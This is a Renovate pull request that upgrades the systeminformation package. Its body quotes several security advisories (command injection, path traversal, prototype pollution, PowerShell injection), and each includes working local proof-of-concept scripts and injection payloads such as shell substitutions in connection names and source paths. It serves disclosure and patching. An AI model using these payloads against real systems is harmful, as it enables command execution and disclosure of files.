Skip to content

chore(deps): upgrade systeminformation to v5.33.16 [SECURITY] - #1439

Open
renovate[bot] wants to merge 1 commit into
devfrom
renovate/npm-systeminformation-vulnerability
Open

renovate[bot] wants to merge 1 commit into
devfrom
renovate/npm-systeminformation-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
systeminformation (source) 5.31.7 → 5.33.16 age confidence

Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name

CVE-2026-44724 / GHSA-hvx9-hwr7-wjj9

More information

Details

Summary

On Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters.

This is not caused by a caller passing attacker-controlled arguments into networkInterfaces(). The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync().

This issue was validated locally against real NetworkManager and real nmcli. Calling only:

require('./lib').networkInterfaces()

was enough to trigger execution. The injected command ran with the privileges of the calling Node.js process.

Affected Component & Versions

Affected component:

  • lib/network.js
  • networkInterfaces()
  • Linux NetworkManager / nmcli handling
Impact & Threat Model

Confirmed impact:

An attacker who can create or rename an active NetworkManager connection profile can execute arbitrary shell commands when a Node.js process using systeminformation calls networkInterfaces().

Confirmed realistic affected deployments include:

  • local inventory agents
  • monitoring agents
  • diagnostics tools
  • admin dashboard backends collecting host information
  • privileged local desktop or device-management agents

If such a process runs with elevated privileges, the injected command executes with those same elevated privileges.

Confirmed facts:

  • The payload was stored as a real NetworkManager connection profile name.
  • Real nmcli device status returned the name unchanged.
  • networkInterfaces() parsed that value and reused it in shell commands.
  • The injected command ran as the calling Node.js process.
  • Environment key categories were reachable from the injected process context.

Not claimed:

  • No remote exploitation claim is made.
  • No AV:N or AV:A claim is made.
  • No SSID-to-connection-name attack path is claimed.
  • File-delivery-only .nmconnection import was not confirmed as a remote or unauthenticated path.
Root Cause Analysis

The root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name.

The interface name is sanitized before it is embedded into shell commands:

const iface = dev.split(':')[0].trim();
const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface);

However, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization:

const connectionNameLines = resultFormat.split(' ').slice(3);
const connectionName = connectionNameLines.join(' ');
return connectionName !== '--' ? connectionName : '';

That is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside "${connectionName}" does not make it safe. A connection name containing ", $(), ;, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution.

The vulnerable code executes through execSync(), which invokes a shell for command strings. As a result, interpolating connectionName into the command string creates a command-injection sink.

Exact Code Flow & File Paths

Source: lib/network.js:538-544

function getLinuxIfaceConnectionName(interfaceName) {
  const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`;

  try {
    const result = execSync(cmd, util.execOptsLinux).toString();
    const resultFormat = result.replace(/\s+/g, ' ').trim();
    const connectionNameLines = resultFormat.split(' ').slice(3);

The parsed value is then returned as connectionName.

Trigger: lib/network.js:987-991

lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
const connectionName = getLinuxIfaceConnectionName(ifaceSanitized);
dhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics);
dnsSuffix = getLinuxIfaceDNSsuffix(connectionName);
ieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName);

Sink 1: lib/network.js:620

const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.method;`;

Sink 2: lib/network.js:660

const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.dns-search;`;

Sink 3: lib/network.js:676

const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep 802-1x.eap;`;

There are three distinct exploitable connectionName sinks.

Proof of Concept (PoC) & Reproduction Steps

The following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp.

Run from the project root:

cd /path/to/systeminformation

Confirm proof files do not already exist:

test -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YET

Create a malicious NetworkManager dummy profile:

nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'

Assign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface:

nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \
  ipv4.method manual \
  ipv4.addresses 192.0.2.253/32 \
  ipv6.method disabled

Activate the profile:

nmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'

Confirm real nmcli exposes the malicious connection name unchanged:

nmcli device status | grep si-nmghsa0

Expected relevant output includes the active connection name:

si-nmghsa0  dummy  connected  si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)

Trigger the vulnerable library path with no attacker-controlled function argument:

node -e "const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item)
console.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});"

Confirm command execution:

test -e /tmp/si-nm-id-proof && echo CONFIRMED || echo FAILED
cat /tmp/si-nm-id-proof
cat /tmp/si-nm-pwd-proof

Inspect environment key categories without printing secret values:

node -e "
const fs=require('fs');
const keys=fs.readFileSync('/tmp/si-nm-env-proof','utf8')
  .split(/\n/).map(l=>l.split('=')[0]).filter(Boolean);
const wanted=['PATH','USER','HOME','SHELL','PWD','SSH_AUTH_SOCK','GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID'];
console.log('env_key_count='+keys.length);
console.log('present_categories='+wanted.filter(k=>keys.includes(k)).join(','));
"

validated evidence:

saw_dummy_iface=true
uid=1000(smart) gid=1000(smart)
pwd=/home/smart/Downloads/systeminformation-master
env_key_count=74
present_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCK
Local Validation Summary & Aggregate Reachability

Validation was performed against real NetworkManager and real nmcli. The primary proof did not rely on a PATH stub.

Observed behavior:

  • The malicious profile was accepted by NetworkManager.
  • The active connection name appeared unchanged in nmcli device status.
  • Calling only require('./lib').networkInterfaces() triggered execution.
  • The proof artifacts were created only after the library call.
  • The id output matched the calling Node.js process identity.
  • The pwd output matched the Node.js process working directory.
  • The environment proof demonstrated access to process-environment categories without printing secret values.

Aggregate API reachability:

  • lib/index.js:94: getStaticData() reaches network.networkInterfaces() as part of static data collection.
  • lib/index.js:307: getAllData() reaches getStaticData() first.

During local validation, an aggregate runtime attempt later hit an unrelated osinfo.js error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was not used as the primary exploit proof.

Why This Is Not Intended Behavior

networkInterfaces() is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status.

The library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for connectionName is inconsistent with that defensive pattern.

Executing shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction.

Recommended Fix

Avoid shell interpolation entirely for NetworkManager calls.

Replace shell command strings with execFileSync() or spawnSync() using argument arrays. For example:

const { execFileSync } = require('child_process');

const output = execFileSync(
  'nmcli',
  ['connection', 'show', connectionName],
  util.execOptsLinux
).toString();

Recommended code-level changes:

  • Replace nmcli device status 2>/dev/null | grep ${interfaceName} with argument-array execution and filter rows in JavaScript.
  • Replace every nmcli connection show "${connectionName}" | grep ... shell string with argument-array execution.
  • Parse ipv4.method, ipv4.dns-search, and 802-1x.eap in JavaScript instead of using shell grep.
  • Treat NetworkManager profile names as untrusted input even though they originate from local system state.
  • Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix.
Regression Test Ideas

Add Linux-specific tests for NetworkManager connection names containing shell metacharacters.

Suggested malicious connection names:

  • name$(...)
  • name"; ...; #
  • ``name`...```
  • name|...
  • name;...

Expected behavior after the fix:

  • networkInterfaces() completes without executing shell syntax from the connection name.
  • No marker files or equivalent side effects are produced.
  • The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried.
  • Tests cover all three current sink helpers:
    • DHCP lookup
    • DNS suffix lookup
    • IEEE 802.1x auth lookup

For unit-level coverage, mock the NetworkManager command wrapper so that nmcli device status returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings.

Credit request

If you publish an advisory or assign a CVE, please credit me as:

Ali Firas (thesmartshadow) - https://www.smartshadow.dev

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux

CVE-2026-50289 / GHSA-5xpp-75jx-m839

More information

Details

Summary

On Linux, systeminformation's networkInterfaces() is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive. While collecting per-interface DHCP state, the library reads /etc/network/interfaces and, for every source <path> line it encounters, extracts the path token from the file content and interpolates it unquoted into a shell command string that is run via execSync(). A source line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.

This is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the interfaces(5) source-recursion sink in checkLinuxDCHPInterfaces() was left unfixed and still builds a shell string. The input to this sink is unsanitized (unlike the iface/connectionName paths, which pass through util.sanitizeString in strict mode before reaching their commands).

Impact

An attacker who can place or influence a sourced path in /etc/network/interfaces (or any file it transitively sources) achieves command execution inside any process that calls networkInterfaces(). Realistic affected deployments are the same ones that motivate this library:

  • local inventory / asset agents
  • monitoring and diagnostics agents
  • admin-dashboard backends collecting host information
  • device-management / desktop agents

If such a process runs with elevated privileges, the injected command runs with those privileges. networkInterfaces() is a core, frequently-called API and is reached transitively by getStaticData() / getAllData(), so the sink is exercised by ordinary usage on Linux.

Threat model

The dangerous value is not a function argument supplied by the caller. It is read from the content of an interfaces(5) configuration file. The stock Debian/Ubuntu layout uses source /etc/network/interfaces.d/* and source-directory fan-out, so the parser routinely follows source directives into other files and re-parses their source lines. Any actor who can write a file that becomes reachable through that source chain — for example a lower-privileged process or configuration-management hook that drops a file into a sourced directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one sourced path string contains shell metacharacters.

Vulnerable code

lib/network.js, checkLinuxDCHPInterfaces() (current 5.31.6 line numbers):

// lib/network.js
function checkLinuxDCHPInterfaces(file) {
  let result = [];
  try {
    const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`;   // <-- unquoted ${file} -> shell sink
    const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');

    lines.forEach((line) => {
      const parts = line.replace(/\s+/g, ' ').trim().split(' ');
      if (parts.length >= 4) {
        if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) {
          result.push(parts[1]);
        }
      }
      if (line.toLowerCase().includes('source')) {
        const file = line.split(' ')[1];                              // <-- path parsed FROM file content
        result = result.concat(checkLinuxDCHPInterfaces(file));        // <-- recurses, re-feeding attacker path
      }
    });
  } catch {
    util.noop();
  }
  return result;
}

util.execOptsLinux sets no shell option, so execSync(cmd, util.execOptsLinux) runs cmd through /bin/sh. The ${file} token is interpolated raw — not quoted, not passed through util.sanitizeString/sanitizeShellString — so ;, $( ), backticks, |, &, redirections, and even a bare space all break out of the intended cat/grep pipeline.

Reach chain to the public API:

// lib/network.js, getLinuxDHCPNics()
result = checkLinuxDCHPInterfaces('/etc/network/interfaces');
// lib/network.js, networkInterfaces() (Linux branch)
_dhcpNics = getLinuxDHCPNics();

networkInterfaces() is also reached by getStaticData() and getAllData() in lib/index.js.

Reproduction

The PoC exercises the verbatim shipped sink function extracted from the installed node_modules/systeminformation/lib/network.js (version pinned to 5.31.6), bound to the same child_process.execSync and shipped util.execOptsLinux the library uses. It then drives the exact source-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.

Install the pinned vulnerable version:

mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install systeminformation@5.31.6

poc.js:

const fs = require('fs');
const path = require('path');
const cp = require('child_process');
const libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');
const util = require(path.join(libDir, 'util.js'));

// Load the VERBATIM shipped sink function from the installed library source.
const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');
const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]*?\n\}\n/);
if (!m) { console.error('could not locate shipped function'); process.exit(2); }

// Bind the same free vars network.js binds: execSync + util.
const execSync = cp.execSync;
const checkLinuxDCHPInterfaces =
  new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util);

// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---
const tmp = fs.mkdtempSync('/tmp/si-dhcp-');
const outer = path.join(tmp, 'interfaces');
const marker = path.join(tmp, 'PWNED');
const maliciousSource = `/dev/null;id>${marker};echo`;
fs.writeFileSync(outer, `auto lo\niface lo inet loopback\nsource ${maliciousSource}\n`);

console.log('PRE  marker_exists=' + fs.existsSync(marker));
const res = checkLinuxDCHPInterfaces(outer);   // == networkInterfaces() -> getLinuxDHCPNics() path
console.log('returned=' + JSON.stringify(res));
console.log('POST marker_exists=' + fs.existsSync(marker));
if (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());

// --- Negative control: a benign sourced path must NOT execute anything ---
const tmp2 = fs.mkdtempSync('/tmp/si-neg-');
const outer2 = path.join(tmp2, 'interfaces');
const inner2 = path.join(tmp2, 'iface.d');
const marker2 = path.join(tmp2, 'PWNED_NEG');
fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n');
fs.writeFileSync(outer2, `auto lo\nsource ${inner2}\n`);
console.log('\nNEG pre  marker_exists=' + fs.existsSync(marker2));
const res2 = checkLinuxDCHPInterfaces(outer2);
console.log('NEG returned=' + JSON.stringify(res2));
console.log('NEG post marker_exists=' + fs.existsSync(marker2));

Run it:

node poc.js

Verbatim captured output (against systeminformation@5.31.6):

PRE  marker_exists=false
returned=[]
POST marker_exists=true
marker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

NEG pre  marker_exists=false
NEG returned=["eth0"]
NEG post marker_exists=false

The malicious source path caused the injected id command to run (marker created, contents = the calling process identity), while the benign source path parsed normally (["eth0"]) and produced no marker. The injected command runs with the privileges of the Node.js process that called networkInterfaces().

End-to-end reproduction

The transcript above is the end-to-end run against the pinned published artifact systeminformation@5.31.6, loading the shipped lib/network.js and lib/util.js from node_modules. Exact commands:

mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install systeminformation@5.31.6

##### place poc.js (from the Reproduction section) in this directory
node poc.js

The marker file PWNED is created only by the injected command path; the negative-control marker PWNED_NEG is never created. The verbatim captured stdout is shown in the Reproduction section above.

Suggested fix

Stop building a shell string from a path that comes out of file content. Read the file with fs (no shell), or use argument-array execution, and never interpolate a parsed source path into a shell command. For example:

function checkLinuxDCHPInterfaces(file) {
  let result = [];
  try {
    // No shell: read the file directly and filter in JS.
    const content = require('fs').readFileSync(file, { encoding: 'utf8' });
    const lines = content.split('\n').filter((l) => /iface|source/.test(l));
    lines.forEach((line) => {
      const parts = line.replace(/\s+/g, ' ').trim().split(' ');
      if (parts.length >= 4 &&
          line.toLowerCase().indexOf(' inet ') >= 0 &&
          line.toLowerCase().indexOf('dhcp') >= 0) {
        result.push(parts[1]);
      }
      if (line.toLowerCase().includes('source')) {
        const sourced = line.split(' ')[1];
        result = result.concat(checkLinuxDCHPInterfaces(sourced));
      }
    });
  } catch {
    require('./util').noop();
  }
  return result;
}

If shelling out is preferred, replace the cat/grep shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:

const { execFileSync } = require('child_process');
const content = execFileSync('cat', [file], util.execOptsLinux).toString();

Quoting alone is insufficient. Treat every value parsed from interfaces(5) files as untrusted even though it originates from local system state, consistent with the defensive util.sanitizeString pattern already applied to the interface name and NetworkManager connection name on the sibling paths.

Fix PR

A fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the cat ${file} shell string in checkLinuxDCHPInterfaces() with a non-shell fs.readFileSync read and adds a Linux regression test that points the function at an interfaces file containing a source directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.

Credit

Reported by tonghuaroot.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net

CVE-2026-116673 / GHSA-4vjg-vx72-qq4g

More information

Details

Summary

On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

Details

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.

PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13

Save the following as poc.cjs in that directory, then run sudo node poc.cjs:

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected result:

{
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
Impact

The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.

Severity

  • CVSS Score: 3.3 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


systeminformation has prototype pollution in networkStats() via the interface name

CVE-2026-116674 / GHSA-7648-jmwf-vw7j

More information

Details

Summary

networkStats() keeps a per interface cache for computing rx_sec / tx_sec between calls.
The cache is a plain JavaScript object and is indexed with the interface name the caller
supplied. Passing the name __proto__ makes every cache write land on Object.prototype
instead of the cache, polluting every object in the Node.js process.

An application is affected if it passes untrusted input as the ifaces argument of
si.networkStats() and runs on FreeBSD, OpenBSD or NetBSD.

Details
The vulnerable code

lib/network.js declares the cache as a plain object:

const _network = {};

calcNetworkSpeed() writes into it, keyed by the interface name:

} else {
  if (!_network[iface]) {
    _network[iface] = {};
  }
  _network[iface].rx_bytes  = rx_bytes;
  _network[iface].tx_bytes  = tx_bytes;
  _network[iface].rx_sec    = null;
  _network[iface].tx_sec    = null;
  _network[iface].ms        = Date.now();
  _network[iface].last_ms   = 0;
  _network[iface].operstate = operstate;
}

With iface === '__proto__' this misbehaves twice:

  1. _network['__proto__'] does not read a missing own property — it invokes the inherited
    __proto__ getter and returns Object.prototype, which is truthy. The
    if (!_network[iface]) guard therefore never creates the {} placeholder.
  2. Each following assignment writes onto Object.prototype.

After one call, rx_bytes, tx_bytes, rx_sec, tx_sec, ms, last_ms and operstate
are visible on every object in the process. A second call takes the other branch
(_network['__proto__'].ms is now truthy) and keeps them updated.

Why the existing sanitizing does not help

The interface name does pass through util.sanitizeString(iface, true) before it is used as
the cache key. That function is a shell metacharacter filter, built to stop command
injection in the netstat / ifconfig invocations — a different threat. Property names made
of letters and underscores are legitimate interface names and pass through untouched:

"a;id"        -> "aid"
"a$(id)"      -> "aid"
"a|id"        -> "aid"
"a`id`"       -> "aid"
"__proto__"   -> "__proto__"     <-- unchanged
"constructor" -> "constructor"   <-- unchanged

The sanitizer is doing its job; the gap is that no layer treats the value as an object key.

Reachability

The cache write is guarded incidentally on three of four platform branches. These guards exist
for unrelated reasons and are not a deliberate defence:

Platform Code path Reachable with an arbitrary name?
Linux / Android fs.existsSync('/sys/class/net/' + ifaceSanitized) No — a non-existent interface returns early
macOS requires netstat to emit a data row beyond the header No — verified on macOS 27, Object.prototype stays clean
Windows if (rx_bytes && tx_bytes) — requires a real adapter match No
FreeBSD / OpenBSD / NetBSD if (!error) { …; result = calcNetworkSpeed(ifaceSanitized, …) } Yes — the call sits outside the parsing loop, so any successful netstat exit reaches it, and netstat -ibndI <unknown> prints only its header and exits 0

The important part is not that three platforms happen to be safe, but that nothing in the
design prevents the write. Any future platform branch without such a guard reopens the issue,
which is why the fix is applied at the cache rather than at the call sites.

Age

The pattern predates the v5 line — git log -S "_network[iface] = {}" traces it back to a
refactoring before v3.42.5. The v3 and v4 lines are end of life; the advisory covers v5.

Impact

The attacker controls which attributes appear on Object.prototype but not their values —
those come from the interface statistics (rx_bytes, ms, operstate …). The attribute
names are fixed by the library, so this is not an arbitrary-key pollution primitive.

The consequences are therefore application specific and arise from name collisions:

  • Any application code that tests if (obj.operstate), if (obj.ms) or similar on an object
    that should not have those properties now takes the wrong branch.
  • for…in loops over plain objects gain seven extra enumerable keys, which can corrupt
    serialisation, configuration merging or validation logic.
  • Libraries that use {} as a lookup map and check membership with in or truthiness can
    return values for keys that were never inserted.

No path to remote code execution is known, and the values cannot be chosen by the attacker.

Proof of concept
The underlying primitive (any platform)
const { calcNetworkSpeed } = require('systeminformation/lib/network.js'); // internal
const cache = {};                       // the declaration used by the library
calcNetworkSpeed('__proto__', 1, 2, 'up', 0, 0, 0, 0);

console.log({}.rx_bytes);               // 1
console.log({}.operstate);              // 'up'
console.log(Object.prototype.hasOwnProperty('rx_bytes')); // true
End to end through the public API (FreeBSD / OpenBSD / NetBSD)
const si = require('systeminformation');

(async () => {
  console.log('before:', {}.operstate);   // undefined
  await si.networkStats('__proto__');     // an attacker supplied interface name
  console.log('after :', {}.operstate);   // 'up'  -> Object.prototype is polluted
})();

On Linux, macOS and Windows the same call returns an empty result set and leaves
Object.prototype untouched, for the reasons in the Reachability table.

Patch

lib/network.js — give the cache a null prototype, so __proto__ becomes an ordinary own
property instead of a setter into the prototype chain:

-const _network = {};
+const _network = Object.create(null);

This is the smallest change that fixes the class of problem rather than one reachable path:

  • It is independent of the platform branches, so no guard has to be added or maintained.
  • It keeps behaviour identical for every legitimate interface name — Object.keys(),
    member reads and writes all work unchanged on a null prototype object.
  • It matches the pattern already used elsewhere in the codebase
    (lib/filesystem.js:114-115, lib/graphics.js:1060, lib/graphics.js:1087).
  • Object.create is ES5.1, well below the declared engines.node >= 10.0.0.

After the patch the hostile name is stored as a normal cache entry:

const cache = Object.create(null);
// ... cache['__proto__'] holds the stats object, Object.prototype is untouched
Workarounds

For users who cannot upgrade immediately, either of these is sufficient:

  1. Validate the interface name before calling — accept only names returned by
    si.networkInterfaces(), or reject the names __proto__, constructor and prototype.
  2. Never pass untrusted input as the ifaces argument. Passing '*' or omitting the
    argument is unaffected, because those names come from the system rather than the caller.

Freezing Object.prototype (Object.freeze(Object.prototype)) also prevents the write, but it
has wide-reaching side effects on other dependencies and is not recommended as a general
mitigation.

Affected versions

All 5.x releases up to and including 5.33.12. Earlier major lines contain the same pattern
but are end of life.

What was verified, and what was not

Verified on this machine (macOS 27, Node 24):

  • the pollution primitive, by calling the cache write with iface = '__proto__';
  • that util.sanitizeString('__proto__', true) returns the string unchanged, while shell
    metacharacters are stripped;
  • that unpatched v5 on macOS does not pollute through the public API;
  • that netstat -bdnI <unknown-interface> prints only its header and exits 0;
  • that the patch stores the hostile key as an own property and leaves Object.prototype clean.

Not verified, because no such host was available:

  • end to end exploitation on FreeBSD, OpenBSD or NetBSD. That conclusion is derived from
    reading the BSD branch of networkStatsSingle() — where the calcNetworkSpeed() call sits
    outside the row parsing loop and is reached whenever netstat exits successfully — combined
    with the observed netstat exit behaviour above. Worth confirming on a BSD host before
    publishing, since the affected-platform list depends on it.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks

CVE-2026-116576 / GHSA-3f7j-7jwc-fxfj

More information

Details

Summary

On Windows, systeminformation@5.33.15 builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.

This report confirms version 5.33.15. Other package versions have not been checked.

Details

In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32_Service -Filter command. The Windows branch passes that command to util.powerShell().

The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.

For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out systeminformation@5.33.15 source; it created a marker file with the Node.js process account.

Proof of concept

Run this on Windows in a disposable directory with Node.js and PowerShell available:

mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15

Save the following as poc.cjs, then run node poc.cjs:

'use strict';

const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');

(async () => {
  const markerName = `si-injection-${process.pid}.txt`;
  const markerPath = path.join(process.cwd(), markerName);
  fs.rmSync(markerPath, { force: true });

  try {
    await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
    console.log(`markerCreated=${fs.existsSync(markerPath)}`);
  } finally {
    fs.rmSync(markerPath, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected output:

markerCreated=true

The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.

Impact

